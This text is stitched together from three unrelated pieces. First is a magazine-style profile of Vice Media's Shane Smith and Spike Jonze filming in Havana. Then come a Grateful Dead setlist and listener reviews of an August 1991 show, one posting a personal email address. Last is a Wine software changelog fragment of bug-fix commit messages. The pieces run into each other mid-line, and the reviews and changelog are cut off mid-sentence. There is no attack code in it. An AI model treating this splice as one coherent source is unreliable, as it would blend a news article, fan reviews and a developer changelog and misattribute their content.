He could say the same about Vice. When it started 20 years ago, it was a music magazine read by a few thousand hipsters and fashionistas; these days, its readership is close to a million. About a decade ago, Smith and his colleagues, at Jonze’s urging, began to focus on online video at a time when, thanks to YouTube, the medium was exploding.
The videos shot by Smith and his colleagues, and then uploaded online, introduced Vice to a much larger audience. In 2008, Smith and a colleague secretly shot The Vice Guide to North Korea, smuggling a camera into the country and filming everything they saw.
I’m only good at two things — making content and doing deals. Day-to-day business management is hard
Since then, the increase in the company’s valuation has been meteoric, with older, more traditional companies falling over themselves to invest. WPP, the marketing group run by Sir Martin Sorrell, bought 10 per cent of the company for $35m in 2011, valuing Vice at $350m. Two years ago, Rupert Murdoch’s 21st Century Fox bought a 5 per cent stake in a deal that valued Vice at $1.4bn; then last year, A&E — the cable television group owned by Walt Disney and Hearst — paid $250m for a 10 per cent stake, valuing Vice at $2.5bn. As part of the A&E deal, Vice will soon get its own cable channel in the US.
Vice will make more than $900m in revenues in 2015, up from $500m last year, Smith tells me. Based on this sharp growth, Vice says its values have risen to more than $4bn.
The deals have made Smith, the largest shareholder in Vice, very rich. At the beginning of the year, at the Consumer Electronics Show in Las Vegas, he won $1m playing blackjack at the Bellagio casino and spent $300,000 of his winnings on a meal for more than 30 employees and business partners. The bill was so eye-popping it merited a mention on the earnings call of MGM Resorts, the group which owns the Bellagio.
Podcast US rapprochement unleashes hopes in Cuba The US move to normalise relations with Cuba unleashed a sense of hope on the island, but the pace of change remains slow, as John Paul Rathbone tells Matthew Garrahan.
The restaurant filming complete, the crew begins preparing for the next shoot — an interview with a man who circumvents Cuban media restrictions by downloading and distributing US television programmes. But before that they want to eat, so we head to another restaurant in Old Havana. I get a lift with Jonze in a huge, lime-green 1955 Pontiac Vice has hired for the day and while we motor along the Malecón, the long roadway that hugs the coast, I ask him how he came to be involved with Vice.
“I loved the magazine,” he says, the sun glinting off the ocean behind him. He first discovered it in Los Angeles in the late 1990s, when he was editing Being John Malkovich. “There was an ice-cream shop on Melrose Avenue and I found it there.”
Jonze — real name Adam Spiegel — has had one of Hollywood’s more varied careers, appearing in films such as Three Kings and The Wolf of Wall Street, alongside his screenwriting and work behind the camera. He directed landmark music videos for Fatboy Slim, Weezer, Björk and others and also co-created the unhinged MTV television series Jackass.
But his background was in publishing. He worked on a skateboard title, Dirt, in the early 1990s, which led him to a stint on the Beastie Boys’ shortlived — but revered — magazine, Grand Royal. Vice magazine “had a point of view”, he says. “That always attracts me, especially in a medium that doesn’t usually have one.” He did not know Smith when he first stumbled upon Vice, but called him in New York and arranged to have lunch. They hit it off and became friends.
“Then a few years later, around 2005, they were doing these incredible stories for the magazine, like trying to buy a dirty bomb in Bulgaria,” Jonze recalls. “I said, just bring a camera! Video online then was just starting to become do-able.”
After that, Vice’s video reports started to flow thick and fast, ranging from the in-depth and serious to the oddball and weird (Vice sent one reporter to cover the Westminster Dog Show, the US equivalent of Crufts, after taking LSD).
Jonze, meanwhile, took on a more formal role as Vice’s creative director, helping it build a video documentary division which would evolve into Vice News. He produced Heavy Metal in Baghdad, a documentary which built on a Vice magazine story about how members of a metal band in the Iraqi capital had been affected by the US invasion.
Smith in the Museum of the Revolution
He also found himself taking a greater interest in current affairs: “I felt like we were inventing a news organisation that was based on us trying to understand the world we lived in, not by being professional journalists but by being curious. The Vice guys came from magazines, I came from magazines but had made some film stuff... we were all together trying to work out the language of it and trying to use video to tell stories.”
He got the news bug late. “Before 9/11, when I was younger, I wouldn’t have bought a newspaper,” he says. After the attacks that changed. “I suddenly understood how relevant it was to my life.”
As Vice began to crank up its video output, Jonze was asked by partners of Al Gore if he wanted to be involved in Current TV, the shortlived cable news channel started by the former vice-president.
“I said if I did, I would want to do it with Vice’s editorial staff.” The idea never came to fruition (Current was eventually bought by Al Jazeera, the Qatari-owned media group, which has struggled to attract viewers in the US). “I loved the idea of Vice doing a news channel,” Jonze recalls, hinting that the suggestion was a step too far for Current. “Vice scared the shit out of them.”
We arrive at the restaurant, on the western side of the harbour in Old Havana, and follow the crew up a steep flight of stairs. The air is hot and sticky and the sunshine of earlier has given way to darkening clouds. All the windows are ajar and after a few minutes the heavens open.
I sit at a table with Jonze and Smith, who has ordered a round of daiquiris, and ask Jonze how his work with Vice fits in with his movie commitments. He is clearly part of the Vice “family”. At a recent party to celebrate its 20th birthday, Vice put on a concert that featured performances from, among others, Scarlett Johansson, Pulp’s Jarvis Cocker and Pussy Riot. Jonze and the actor Jonah Hill were also on the bill, jamming a song together.
He has an office at the company’s Williamsburg headquarters and is a regular presence. “He doesn’t have to worry about human resources or headcounts,” says Smith. That responsibility lies with Smith himself, who combines running Vice with negotiating distribution deals for its content — while presenting much of its news programming. When Vice landed a much-sought-after interview with Barack Obama recently for its HBO show, it was Smith who grilled him and chaired a discussion with him and a group of students to talk about the soaring cost of higher education. “Shane represents the company in a big way,” Jonze says. “It’s like making a film. The personality of the person who runs the company really sets the personality of the company.” Smith laughs. “That’s weird.”
Smith founded Vice with friends Suroosh Alvi and Gavin McInnes (Smith and Alvi still control the company; McInnes left in 2008 citing “creative differences”). But Jonze is right to say that Vice has been shaped by Smith’s personality. He is the company’s public face — a mix of showman, salesman and intrepid explorer. His crew clearly want to do well for him and I witness some stressed faces as preparations are made for each shoot.
He grew up a punk fan in Ottawa, inspired by bands like the Sex Pistols and Dead Kennedys, and as Vice magazine took off he fully embraced the hedonistic lifestyle. He has calmed down a bit since then — he is now married with two children — but he clearly thrives on the adrenalin that comes with travelling the world to make television. “The camera is the best passport because you get to see things that no one else sees,” he says.
Cuba seems ideally suited for Vice’s HBO show which focuses on colourful edgy, hotspot stories
In the past couple of years there has been a subtle change of direction at Vice. The magazine that evolved into a digital entity, producing video for the internet and making its money from sponsored online channels, has gone back into traditional media: television. Smith, ordering another round of daiquiris, says it was a necessary move. “There was this digital morass and all these digital companies fighting it out.”
Digital media continues to be highly competitive, particularly among sites that report news or are aimed at the same demographic. Last year, Vice got into a war of words with Gawker, which operates a network of news sites, when a Gawker story alleged that Vice underpaid its employees. Vice hit back in a blog post, accusing Gawker of “garbage, click-bait journalism” and “inaccurate and irresponsible” reporting.
Nick Denton, Gawker’s founder, tells me that Smith’s persona is what holds Vice together. “So much of Vice depends on Smith’s showmanship — and his claim to understand the millennial audience,” he says. He suggests that the company may not be as radical or transformative as its fans in larger media companies may believe. “The commercial success of Vice says more about the insecurity of legacy media than it does about the future of media.”
Vice still competes for online audience with sites like Gawker and BuzzFeed but its move into global television production and distribution means it also has a completely new set of competitors. “We came out of digital and said, our content can go on mobile, online, television... ” Smith says. “We’re becoming more of a straight media company.” It is, he adds, “the best time in history to be making content. The mobile carriers, the online platforms and television are all fighting for content [and] they all need it. So if we create it, we can make money.”
He points to an agreement Vice struck with Rogers Communications, the big Canadian media group. The two companies signed a $100m deal in which Vice will build a studio in Toronto and produce programming for Rogers’ phone, internet and television services. It is a model that Smith has taken to other countries. “We get paid to make stuff. We get paid for the advertising that goes with it. Then, if you own [the content] you can take it around the world.”
Producing this content isn’t cheap. “You have to spend the money in the editing room,” says Jonze. “You have to keep editing until it’s good. Creatively, [the editing room] is where you find the story and where you make or break it. You have to feel it: this is good, this affects me.”
Vice is moving to a new building in Brooklyn which will be able to accommodate even more writers, editors and film-makers (it currently employs about 1,500 people worldwide). But this growth raises a big question: what does it do next?
Smith says Vice has three options. It could sell to a larger company and exist within it semi-autonomously (he mentions Ted Turner, the founder of CNN, who sold his company to Time Warner, as an example). It could seek an initial public offering in New York. “There hasn’t been a media company like this to go public in 15 years,” he says. “The markets would love it.” Or it could pursue a third option and stay privately owned. This presents its own problems — mainly, that shareholders with stakes in a company which, on paper, is worth billions of dollars may at some stage want to cash out. “You can be worth $10m but try to buy a cup of coffee with that,” says Smith. “That’s what we’re wrestling with.”
Our next stop is the Hotel Nacional, the grandest in Havana and the site of an infamous 1946 mafia summit that brought together the heads of the major US crime families (fictionalised in The Godfather: Part II). The mafia had extensive interests in Havana in those days — the hotel was one of several that offered casino gambling tightly controlled by the mob and the Fulgencio Batista regime. Now owned by the state, hotels like the Nacional have the WiFi connections required by paquete dealers for downloading US television programming from the internet.
Vice is meeting “Danny”, who deals paquetes, the name given to hard discs packed with media content downloaded from the web. They have enabled Cubans to watch US television programmes that they would otherwise not be able to see: the authorities have turned a blind eye to the phenomenon to the extent that an estimated 80 per cent of households in Havana now have some form of access to US entertainment.
“Danny” takes Smith and his crew into the city to show them the copying operation. “We make daily downloads to keep up to date,” he explains. “America is a country that is always up to date with everything. We also want to be up to date.” Television, he adds, “is enriching and great”.
The next day the crew travels to Guanabacoa, outside Havana, where Smith and Jonze interview Baby Lores. Afterwards, we drive back into Havana to the Museum of the Revolution. Soraya Casamayor, the museum’s guide, gives Smith a tour, starting in front of the “Wall of Cretins”, which features caricatures of recent US presidents. Smith asks what she thinks of Obama (who is not on the wall). “He is trying to bring us together and bring more understanding between us... and that is a good thing,” she says. “We’ve been through 50 years of struggle but in the last five months there has been so much hope for the future.”
At dinner that evening I ask Smith if he enjoys the constant travel: he is rarely in New York and says he has run Vice from the road for the past decade. He says he is making up for lost time. “Spike taught me something. When he was between 30 and 40, he was doing all this amazing stuff. But when I was that age I just got drunk. So at the end of that decade he was much further ahead. He said, ‘You have to do the work now, because you don’t have forever.’ That really resonated with me.”
As we talk about what the future might hold for Vice he drops a hint about his plans. “I’m approaching my Bill Gates moment. People say, ‘You don’t want to run a public company’ — and they’re right. It’s not what I’m good at.”
He is considering stepping down as chief executive to free up time to do what he enjoys, he says. “I’m only good at two things,” he continues. “I’m good at making content and I’m good at doing deals. They’re fun... but day-to-day business management is hard.” He is vague about the timing but Vice has beefed up its management ranks in recent months hiring, among others, Alyssa Mastromonaco, the former White House deputy chief of staff, as chief operating officer.
He has more expansion plans up his sleeve before he goes. Vice is getting into movie production. It will soon also have its own US cable channel, the result of its deal with A&E.
Would it be the same company without him? As Jonze points out, much of Vice’s personality stems from Smith: while he has been chief executive it has walked the line between commercial success and credibility with its audience. I wonder if he ever worries that Vice could lose the commodity that has made it so sought after: its cool. After all, staying relevant with successive generations of younger viewers and readers is not easy. Think of MySpace, which flamed out after only a few years, or, more recently, MTV, which, after staying relevant for more than two decades, has now slipped into insignificance.
“We’ve never tried to be cool,” Smith laughs, reaching for his glass of wine. “We’ve just tried to make stuff that sucks less than everyone else.”
Matthew Garrahan is the FT’s global media editor. Vice’s Cuba report airs on HBO later this year
This article was amended on May 18 2015 to give Julio Pabón’s correct job title of producer, Vice on HBOJack Straw, Bertha, It's All Over Now, Ramble On Rose, Desolation Row, Dark Star-> Promised Land Scarlet Begonias-> Victim Or The Crime-> Fire On The Mountain-> Truckin'-> Drums-> Jam-> Playin' In The Band Reprise-> Standing On the Moon-> Good Lovin', E: U.S. Blues
SBD:DAT> DAT> SF> WAV> SHN; via J.T. James, Peter Braverman
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Reviewer: session - favorite favorite favorite favorite - March 2, 2018
Subject: DS, plus These were good shows. The Boys did a huddle for a couple of minutes ahead of the 1st set Dark Star, was clear they were up to something. In the end it didn't get too deep and I'd say it had as much novelty factor as anything else, but seemed like they were enjoying it and so were we. Also made for a pretty turbo charged Promised Land. For sure Hornsby seemed to be a driver for some of this stuff, and it was great to see how much joy he took in the music, including the deeper numbers.
Regarding the "open ended" DS, the finish was the revisit just before Morning Dew the next night, with Jerry essentially doing at least the first verse on guitar. Was awesome to be in the Dark Star and then go directly into Dew.
Thanks again GD and Archive! - March 2, 2018DS, plus
Reviewer: DustTizzle - favorite favorite favorite favorite favorite - January 21, 2016
Subject: How comes? How comes when I'm streaming from the site it doesn't go into the next song automatically??? Like if I'm not on the exact page I'm streaming from it won't change til I go to that page?!?! - January 21, 2016How comes?
Reviewer: DJJazzZD - favorite favorite favorite favorite favorite - August 16, 2015
Subject: what a run Met what would become one of my all time best friends on the lawn before the this show. Listen to the tuning before Jack Straw. ( you can hear Dark Star ) imagine if the opened with that? - August 16, 2015what a run
Reviewer: barreramusic - favorite favorite favorite favorite favorite - June 6, 2014
Subject: "That's up to Jerry" (Hornsby) My friend (who happens to have of the same last name as me, Barrera) said he bumped into Hornsby (at a fast food joint) some hours before the show. He asked him, "How about giving us a Dark Star tonight?" Bruce responded, "That's up to Jerry."
They sure delivered! What a unique and beautiful show. Love the Scarlet Victim Fire mostly.
The first set DS here is just the first verse. The next one--on 9/10 at MSG--was also just the first verse. I was under the assumption (making an "ass" out of "umption") that they were just a bit more calculated than that--thinking they would do a version with just the second verse before another one with just the first. Ya know what I means? I guess I was wrong.
I saw them, myself, on 12/16/92 when they played just the second verse of Dark Star. So, was Jerry just deciding on the spot which verse to sing? I suppose it was all up to Garcia--whether to do the whole song or sing just the first or just the second verse or, of course, even play it at all... - June 6, 2014"That's up to Jerry" (Hornsby)
Reviewer: GarciaGrateful - favorite favorite favorite favorite - April 5, 2014
Subject: Wow The energy on Promised Land is unlike any version I've heard before. It really jumps out at you. The sound throughout the show is great as well, but Phil's bass sounds a little odd to me (almost like the tinny/metallic sound of the strings) on Jack Straw. - April 5, 2014Wow
Reviewer: doug_the_dude - favorite favorite favorite favorite favorite - August 18, 2013
Subject: -- What an exciting show - from the opening Jack Straw > Bertha, sound mix all over the place (listen to Phil), the band forgetting a lyrics or two but also bringing this absolutely ***searing*** energy to the whole thing, an energy that just won't go away. The Dark Star that closes out the first set was almost inevitable, although the whole first set is great.
Again with that mix as the 2nd set begins - listen to Jerry sing on Truckin' - you can almost picture the fat man looking at you from over those sunglasses, center of your speakers - something uncanny to this whole mix and presentation, not to mention how seriously dialed in the band is. Drums > Space remains one of my faves from this era.
Only Standing on the Moon betrays that otherwise tightrope-walking energy - Jer really blows key lines and lyrics, if that sort of thing gets to you (really, there are so many other great performances from this year).
Do yourself a favor and listen to this one, yo - they bring it, dare themselves to rise to that line of almost losing control but not, and they succeed brilliantly. - August 18, 2013--
Reviewer: berlebassman - favorite favorite favorite favorite favorite - May 11, 2012
Subject: any way to download this concert? I could not figure out how to actually download the concert to listen away from my computer. Can any one help? thx!
I have great memories of listening to this concert when it was featured on the grateful dead hour in 1994. I had a tape of the show and it was one of two tapes I had with me on a solo backpack trip in the Bitteroot mountains in Montana. - May 11, 2012any way to download this concert?
Reviewer: cb18201 - favorite favorite favorite favorite favorite - March 24, 2011
Subject:. to the guy below who said somethin about rick griffin being killed on his way to this show. he actually died on 8/18. so it would have been the show two days after this one
as for this show.....scarlet>victim>fire
enough said - March 24, 2011
Reviewer: gratedude69 - favorite favorite favorite favorite favorite - August 18, 2010
Subject: super love this show, the piano work is great on tunes like all over now and ramble on rose, first set is pretty good but the second set is excellent, i love the victim between scarlet fire its really sweet, the scarlet fire itself being pretty awesome, truckin nice too
playin reprise is good and then sotm is average but i love that song regardless, good lovin great too, upbeat us blues encore rounding off a great show overall and im not even a huge post brent fan - August 18, 2010super
Reviewer: EyesWereThere - favorite favorite favorite favorite - December 11, 2009
Subject: Things I remember was my first show since a BT at Cal Expo that had me walking out for the first time in 65 or so performances. I was actually scared to see them, weird, and kinda silly looking back 20 years later, but `i was a kid. When they pulled this out 1st set all fears were reconciled and my love returned back to me. It was almost like being at Hampton, I mean...you couldnt possibly call this one. It is a pretty nifty version too, more Red Tail then Miller Light, imo.
Bruce smiled the whole time..he finally convinced them to break it out -he was playing teasers that whole summer long to no avail, accept a brief, non-singing jam in Denver..
This is a really nice recording, thank you. That was such a special Year, beginning with my first Dark Star New Years '90 up to 10/31, the monster! - December 11, 2009Things I remember
Reviewer: REBLOCHON - favorite favorite favorite favorite - August 7, 2009
Subject: august the 16th : the Day the Music has died good show on Elvis day! - August 7, 2009august the 16th : the Day the Music has died
Reviewer: kochman - favorite favorite favorite favorite favorite - December 16, 2008
Subject: How to get this
ro_ko at e-mail me...ro_ko at hotmail.com - December 16, 2008How to get this
Reviewer: Flipjam - favorite favorite favorite favorite favorite - December 7, 2007
Subject: MP3 SORRY but does anyone know where / how to get this to a listen-able format - December 7, 2007MP3
Reviewer: headeeee - favorite favorite favorite - June 22, 2007
Subject: 1st set dark star had a great show,but was floored when Timmy called the DS.Afterwards,I found thar rick griffith crashed his bike on the17 while on his way to the show.Maybe Garcia heard the news prior to the end of 1st set.It would explain that random dark star,huh. - June 22, 20071st set dark star
Reviewer: stoner mulholland - favorite favorite favorite favorite - May 24, 2007
Subject: last great year 91'' i was on this tour..and bruce had been teasing dark star all tour...i called dark star on this day..(not in the first set but this day)...this show kicked ass..as did alot of shows of this year...for me this was the last great year for the dead...i kept touring until the end..but 91' was the end.. - May 24, 2007last great year 91''
Reviewer: rak5877 - favorite favorite favorite - October 18, 2006
Subject: overated this show aint all that great, performance wise, when compared to the best of 91 (6/17 and 10/31, IMHO).
the first set dark star is a nice curiosity and it is well played, although brief. but there is nothing inherently wrong w/ brevity. if darkstars were beers, this one is a miller light. that being said:
1- a miller light is better than no beer at all.
2- sometimes (like on a 100 deg. summer day) a miller light is just what the doctor ordered.
3- but you do NOT want miller light to be the only beer you drink!
the scarlet>victim>fire sandwich is cool, if you like victim. i do, so it is a nice listen.
personally, i am going to put the darkstar and the s>v>f on a vince-era mix i am making. the rest is gonna find it's way to the recycling bin. there are a LOT better 91s out there. - October 18, 2006overated
Reviewer: RubyClaire - favorite favorite favorite favorite - October 8, 2006
Subject: Better live and in person... This is and was a great show. I was there and maintain that this is one of those shows that sounds good on disk, but was awesome being there. Phil had some issues early in the fist set, but by Desolation Row the band was fairly tight. To bust out a first set Dark Star one had to be there. It was still daytime transitioning to evening. It was short, but nicely finished the next night.
Scarlet>Victim>Fire was a real gem. Reminded me of the Scarlet>Bucket of Summer Solstice '89 at Shoreline. - October 8, 2006Better live and in person...
Reviewer: stratocaster - favorite favorite favorite favorite - September 24, 2005
Subject: 08-16-1991 look to the rational rating of this show, not the ridiculous 1 star ratings...
Dark Star is laid back, Garcia does pull off a couple of very nice, clean, transparent runs...
Second set is better than average...Scarlet>Victim>Fire is the highlight, basically...SOTM is better played on 06-07-1991 and 12-28-1991...
not one of the top 5 or 10 of 1991, but worth a listen, nonetheless
good sounding source - September 24, 200508-16-1991
Reviewer: Doc Hollywood - favorite favorite favorite favorite favorite - August 22, 2005
Subject: Worst Dark Star? Oh please....it's cool to not feel the vibe of certain shows, but to flat out bag on a show, especially a show in which the boys are clearly being creative and having fun is a clueless move. SOTM is the high point of this show?!? Some people need to take a break for a while, me thinks, and get a little perspective. The Dark Star in addition to being a great choice in to start the close of the first set, kicks off with a great run from Jerry. Think he is not feeling it? Go back and listen again. Jerry does have juice in this Dark Star, which cannot be quantified by usual standards and measurements. 10 minutes, yes. But it is the FIRST SET. Talk about seeing the glass half empty. And there is much interplay between Jer and Bruce, that goes double when it is in the framework of a first set song. It does hold up well to many modern-era Dark Stars, IMO, regardless of placement...I would take this type of first set over many, many others from the 1990's. Maybe I am biased as I was there rocking out, and leaping and freaking from the first tuning notes of Dark Star, or maybe it's because I've never been a jaded Dead Snob. - August 22, 2005Worst Dark Star?
Reviewer: El Santiago - favorite favorite favorite favorite - August 15, 2005
Subject: Several 5+ star performances Some people getting frazzled on this one? Jus puff one and chill. True, 1st set Dark Star is long on novelty, but short on substance. The boys rip a great Jack Straw - Bertha opener, but Phil's bass is doing this thwangy thing that kinda blemishes the greatness. It's the Scarlet-Victim-Fire that really stands out. The transitions into and out of Victim are mind-bendingly smooth and coordinated. Phil comes into Fire with such great energy, propelling the band into a very unique and inspiring rendition of the song. Jerry's vocals are uncommonly clear and forceful ala Morning Dew of the next night. The band finds a timeless groove. Spectacular stuff. 4 stars b/c rest of show is anticlimax after unreal Scarlet-Victim-Fire. All in all, better than many shows that people have rated with 5 stars. - August 15, 2005Several 5+ star performances
Reviewer: omnihead - favorite - August 10, 2005
Subject: terrible show!!! for 91, yes this show was terrible. The playing is sloppy and the sound is muddy. SOTM is the only song played to 91's standard. Furthermore, the Dark Star is horrible. THE weakest and most embaressing version ever played. Dont be fooled by the setlist, the whole shows sucks. - August 10, 2005terrible show!!!
Reviewer: dm |
. riched20: Fix several failing test across several platforms. comctl32: Fix two failing tests in win98. comctl32: Fix several failing tests in win98. comctl32: Allow a little slop in the status bar metric tests. comctl32: Fix a couple failing tests in win98. comctl32: Fix a failing test in win98. comctl32: Fix several test failures in win98. comctl32: Fix a typo. comctl32: Fix a failing test for some platforms. comctl32: Trace the first day of the week. comctl32: Fix two test failures in win2000. riched20: Fix two typos that cause a failing test. msi: Fix a few file access discrepancies between platforms. urlmon: Fix a failing test with IE7. urlmon: Fix several failing tests with IE7. ole32: Fix a few file access discrepancies between platforms. comctl32: Store the previous timeout value to test with. secur32: Fix two failing tests in win2k. shell32: Fix two failing tests in win2k. mstask: Fix a few failing tests in win2k. crypt32: Fix a failing test in win9x. crypt32: Fix a failing test in Vista. crypt32: Fix a failing test in Vista. setupapi: Fix a failing test in Vista. setupapi: Remove a test of an undocumented function that is inconsistent across platforms. shell32: Remove calls to unicode functions that aren't implemented in win9x. comctl32: Fix several failing tests in win95. comctl32: Fix the remaining broken tests in win95. Jan de Mooij (1): comctl32/treeview: Fix pszText NULL pointer dereference. Jeff Zaroyko (5): wined3d: Add missing HeapFree. ws2_32: ioctlsocket should try to check if argp is valid. dsound: Fix a few failing tests and a crash on 2008 (revised). kernel32: Modify DeleteFileW to fail on directories. dsound: Fix a failing test on XP. John Klehm (4): wintab32: Support overlap statuses in WTOverlap. wintab32: Support overlap statuses in WTOpen. wintab32: Support overlap statuses in WTEnable. gdiplus: Stub implementation of GdipGetImageDecoders and GdipGetImageDecodersSize. Juan Lang (31): crypt32: Check length of sequence before checking tag. crypt32: Don't store redundant copy of detached hash message data. crypt32: Add stub for CryptVerifyMessageHash. crypt32: Add tests for CryptVerifyMessageHash. crypt32: Implement CryptVerifyMessageHash. crypt32: Don't crash when asked to verify a signature before the content has been finalized. crypt32: Test verifying the signature of a detached signed message. crypt32: Add stub for CryptVerifyDetachedMessageSignature. crypt32: Add tests for CryptVerifyDetachedMessageSignature. crypt32: Implement CryptVerifyDetachedMessageSignature. crypt32: Simplify CryptVerifyMessageSignature. cabinet: Use helper function to remove duplicate code. cabinet: Use helper function to remove duplicate code. crypt32: Assert condition that can occur only in case of a bug. crypt32: Fix typo. Fixes Coverity item 605. crypt32: Return FALSE rather than crash if memory allocation fails. Fixes Coverity id 135. crypt32: Get rid of a magic number and a redundant assignment. winhttp: Don't reference past the attribute array. Fixes Coverity item 710. crypt32: Don't set salt's cbData unless allocation succeeds. Fixes Coverity id 133. user32: Return error if memory allocation fails. Fixes Coverity id 115. riched20: Use helper function rather than goto to return found position. devenum: Fix order of operations bug (Coverity id 709). user32: Don't crash if passed a non-scrollbar HWND. Fixes Coverity id 265. winex11: Make button_state as large as the maximum number of cursors. Fixes Coverity id 728. wintrust: Add a few missing defines. wintrust: Don't assume dwStateAction is set in WINTRUST_DATA. crypt32: Add support for the CERT_EXTENDED_ERROR_INFO_PROP_ID. wintrust: Add traces to a few more functions. include: Fix typo. include: Add missing defines. tools/wine.inf: Register cryptdlg. Kai Blin (7): ws2_32: Fix the SO_REUSEADDR tests to work on Win2k3 and newer. dplayx: Fix static overrun of pDP array in test. (Coverity). dplayx: Fix possible NULL pointer dereference (Coverity). dplayx: Fix possible NULL pointer deference in error path (Coverity). dpnet: Fix initialisation of This pointer (Coverity). ws2_32: Win NT4 does not zero the sockaddr_in structure on getsockname. ws2_32: Win98 closesocket() does not wake up select. Lei Zhang (4): sane.ds: Replace wsprintfW with sprintfW. comctl32: listview: Prevent DragDetect from removing WM_LBUTTONUP messages. comctl32: Handle listview dragging better. qcap: Make sure input to AMStreamConfig_SetFormat is not NULL. Luis C. Busquets Pérez (2): d3dx9: Implement D3DXMatrixDecompose. d3dx9: Add tests for D3DXMatrixDecompose. Marcus Meissner (10): include: Mark up with alloc_size attribute. shell32: Fixed size passed to MultiByteToWideChar. winecfg: Fixed buffersize to GetPrivateProfileStringW. include: Allocation size markup. dnsapi: Fixed incorrect buffer size to GetComputerNameExW. secur32: Fixed size passed to GetComputerNameExW. msi/tests: Reduce buffer to size of string written. kernel32/tests: Pass correct size to MultiBytetoWideChar. oleview: Fixed LoadString buffer sizes. winefile: Fixed sizes to LoadString. Michael Karcher (2): ole32/compobj: Fix function name in comment. kernel32: Clean up PROFILE_isspaceW. Michael Stefaniuc (6): user32/tests: Remove unreachable break after return (Smatch). shell32: Fix the Ca, Hu, Ro, Sk, Sv and Wa translations by removing an untranslated string. wordpad: Fix the Hungarian translation by removing an untranslated and incomplete STRINGTABLE. wordpad: Change the encoding of the German resource file to utf-8. worpad: Fix the German translation. regedit: Fix the Bg, Cs, Da, Es, Hu, It, Ko, Pl, Pt, Ru, Si and Tr translations. Mikołaj Zalewski (10): appwiz.cpl: French should use SUBLANG_NEUTRAL. oleaut32: Make _argsize and _xsize receive the full TYPEDESC and parent ITypeInfo, use a different function in IDispatch code. oleaut32: Add some missing simple types to _argsize and _xsize. oleaut32: VT_USERDEFINED records are passed by value. include: Add IAutoCompleteDropDown declaration. shell32: autocomplete: Add stub IAutoCompleteDropDown interface. shell32: autocomplete: Fix a logical AND to a bitwise AND. shell32: autocomplete: Make SetOptions handle setting the ACO_AUTOSUGGEST after Init, fix ACO_AUTOSUGGEST|ACO_AUTOAPPEND case. shell32: autocomplete: Implement GetDropDownStatus. shell32: autocomplete: Remove some obsolete FIXMEs, update some comments. Muneyuki Noguchi (9): notepad: Update Japanese translation. appwiz.cpl: Add Japanese resources. wininet: Update Japanese translation. view: Add Japanese resources. cmdlgtst: Add Japanese resources. comdlg32: Update Japanese translation. winex11: Fix a buffer overflow bug in X11DRV_KeyEvent() and X11DRV_ToUnicodeEx(). winex11.drv: Make X11DRV_XIMLookupChars handle a long string properly. oleview: Add Japanese resources. Nicolas Le Cam (2): comctl32: Fix a failing test for some platforms. comctl32/tests: Fix a failing test for some platforms. Nikolay Sivov (4): gdiplus: Partially implemented GdipTestControl. gdiplus: Some defines for Image metadata API. gdiplus: Added missed stubs for Image metadata access. gdiplus: Some TRACE(..) for Image calls. Owen Rudge (1): shell32: Check CPL_NEWINQUIRE message in control panel applets if we can't retrieve valid strings/icon. Paul Chitescu (2): user32: Stub for LockWorkStation. explorer: WM_SYSCOMMAND SC_SCREENSAVE to desktop triggers screen saver. Paul Vriens (22): kernel32/tests: Fix a few tests on win9x. kernel32/tests: Fix 2 tests on win9x. urlmon/tests: Fix timeouts for win9x tests. kernel32/tests: Fix a few failures on win98. user32/tests: Win9x needs a threadid for CreateThread. crypt32/tests: Fix a test on Vista. winmm/tests: Fix a test on win9x. quartz/tests: Fix the tests on several platforms. ws2_32/tests: Remove redundant NULL check before HeapFree. msi/tests: Create only one log file and delete it afterwards. rpcrt4/tests: Fix some failures on XP-SP3. gdi32/tests: Prevent a crash on win95. gdi32/tests: Skip some failing tests on NT4. setupapi/tests: Fix two failures on win98. jscript/tests: Fix crash and failures on win9x. setupapi/tests: Fix a failure on Windows 2000. kernel32/tests: Skip tests on Win95. oleaut32/tests: Don't crash on Win95. msi/tests: Prevent a crash on NT4. crypt32/tests: Don't crash on NT4. crypt32/tests: Don't crash on win9x. crypt32/tests: Add a missing CryptMsgUpdate. Peter Dons Tychsen (3): ntoskrnl: Implement partial stub for IoGetConfigurationInformation(). services: Fixed problem with services where DependOnServices key is REG_SZ and not REG_MULTI_SZ. winedevice: Fix problems with driver entries without the "ImagePath" entry in registry. Piotr Caban (1): msxml3: Change SAX IStream parser implementation. Reece Dunn (7): shdocvw: Fixed building on msvc. richedit20: Fixed building the tests on msvc. browseui: Fixed building the tests with the Windows SDK. secur32: Fixed the schannel tests on Vista. secur32: Fixed the logic on some of the schannel tests. hlink: Fix the tests for IE7. shlwapi: Fixed the url tests on Vista. Rob Shearman (43): wine_common_ver.rc: Allow the file version number and string to be automatically constructed from major, minor, build and platform ID numbers. shell32: Remove defines for WINE_FILEVERSION and WINE_FILEVERSION_STR. rpcrt4: Only start the RpcSs process for handles to the local server. rpcrt4: Fix typo in unescape_string_binding_componentW. rpcrt4: Change type of len parameter of NdrAllocate from size_t to SIZE_T. include: Define sigset_t in pthread.h if HAVE_SIGSET_T isn't defined. include: Remove incorrect [optional] attributes from parameters in ddstream.idl. include: Uncomment declaration of IDirectShowStream in amstream.idl. include: Fix level of indirection of parameters in GetNotifyCmdLine function of IBackgroundCopyJob2 interface in bits1_5.idl. include: Fix signature of NearestPoint function of IInkDisp interface in msinkaut.idl. include: The INewShortcutHookA, INewShortcutHookW and IRunnableTask interface in shobjidl.idl should be local. include: Add XMLDOMDocumentEvents dispinterface to xmldom.idl. include: Use placeholder structures with at least one field in vmr9.idl. include: Fix function names in IVBSAXXMLReader interface in msxml2.idl. widl: Fix the writing typedefs to dispinterfaces and pointers to interfaces. msi: Reduce destination file name used in the MoveFiles action to the long file name. winhttp: Add version resource. widl: Remove redundant code. rpcrt4: Free the memory for a registered interface that is in use and when WaitForCallsToComplete is 0. rpcrt4: Print error messages from RPC message functions when they are called in an invalid way. rpcrt4: Don't crash in NdrDllGetClassObject when a NULL pclsid is passed in. rpcrt4: Fix memory leaks of hdr in error paths in RPCRT4_io_thread. rpcrt4: Fix memory leak of 0-byte buffer allocated during processing of bind packets. avifil32: Add explicit "!= S_OK" to expressions that use HRESULTs as booleans. oleaut32: Add explicit "!= S_OK" to expressions that use HRESULTs as booleans. urlmon: Add explicit "!= S_OK" to expressions that use HRESULTs as booleans. usp10: Add explicit "!= S_OK" to expressions that use HRESULTs as booleans. winedos: Fix the type of res in VGA_DoSetMode. dsound: Add explicit "!= S_OK" to expressions that use HRESULTs as booleans. wintrust: Add explicit "!= NO_ERROR" to expressions that use variables containing error codes as booleans. advpack: Add explicit "!= S_OK" to expressions that use HRESULTs as booleans. d3d9: Fix type used to store return value in 